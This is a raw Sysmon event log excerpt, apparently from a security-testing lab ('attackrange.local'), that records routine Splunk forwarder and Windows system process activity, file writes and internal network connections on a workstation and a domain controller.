14:55:32.261{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015838Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:32.261{625C326B-67EC-613B-0500-00000000F101}4122740C:\Windows\system32\csrss.exe{625C326B-71E4-613B-E304-00000000F101}1888C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000015837Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:32.261{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-71E4-613B-E304-00000000F101}1888C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000015836Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:32.262{625C326B-71E4-613B-E304-00000000F101}1888C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe8.0.2Active Directory monitorsplunk ApplicationSplunk Inc.splunk-admon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 354300x800000000000000015835Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:30.455{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50252-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000015834Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:32.073{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4389349CE75B83CFA5FDCE9C737DDE59,SHA256=BB5AF7D622D4D1F09B830A1095CAC153623ACFE0DE11A498AA72F4107B3560FE,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048174Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:32.041{7BD73061-65B2-613B-1100-00000000F001}432NT AUTHORITY\LOCAL SERVICEC:\Windows\System32\svchost.exeC:\Windows\ServiceProfiles\LocalService\AppData\Local\lastalive0.datMD5=67C306D1544481BAA3055E5E8CAF83F6,SHA256=96F011BA9CF8555771B34258BBF3E0528EB73BC83518FDC365307E71C11E63BB,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000048178Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:30.505{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59453-false10.0.1.12-8000- 23542300x800000000000000048177Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:33.181{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=BD87DE3668744178E97A7DB8010A70DC,SHA256=154E38F4EA8865E0A1758AC09EF8766E610844BDED7A9AC8F2D75B4DC9D080DF,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000015878Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:33.980{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-71E5-613B-E504-00000000F101}520C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015877Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:33.980{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015876Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:33.980{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015875Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:33.980{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015874Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:33.980{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015873Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:33.980{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015872Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:33.980{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015871Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:33.980{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015870Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:33.980{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015869Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:33.980{625C326B-67EC-613B-0500-00000000F101}412528C:\Windows\system32\csrss.exe{625C326B-71E5-613B-E504-00000000F101}520C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000015868Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:33.980{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015867Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:33.980{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-71E5-613B-E504-00000000F101}520C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000015866Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:33.980{625C326B-71E5-613B-E504-00000000F101}520C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000015865Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:33.105{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=30A13DEA17275C4500EA912D4F7AF285,SHA256=B7E27B2BA614AC26E60CFAA712F52010D04E84EE4D238A27CDBDB677B4FC35D8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048179Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:34.197{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4B05E3E92B76E0BA7F529B0C58088AC9,SHA256=6524FD048C9E1DDA07107BEB262C6DA05CE11436950E1679068F1D64D671B499,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000015880Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:34.198{625C326B-71E5-613B-E504-00000000F101}5203340C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000015879Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:34.120{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=473175D2CE518EB2D8EE35A3C71D9D20,SHA256=4C16F5432F884B8EDF2B1E41FA0475F3287D1C57822DF1E663C1CE6552C24709,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000015910Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:35.980{625C326B-71E7-613B-E704-00000000F101}37283368C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+5691a5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+568cd6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56657|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56ca7|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+8f3800|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015909Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:35.761{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-71E7-613B-E704-00000000F101}3728C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015908Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:35.761{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015907Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:35.761{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015906Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:35.761{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015905Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:35.761{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KE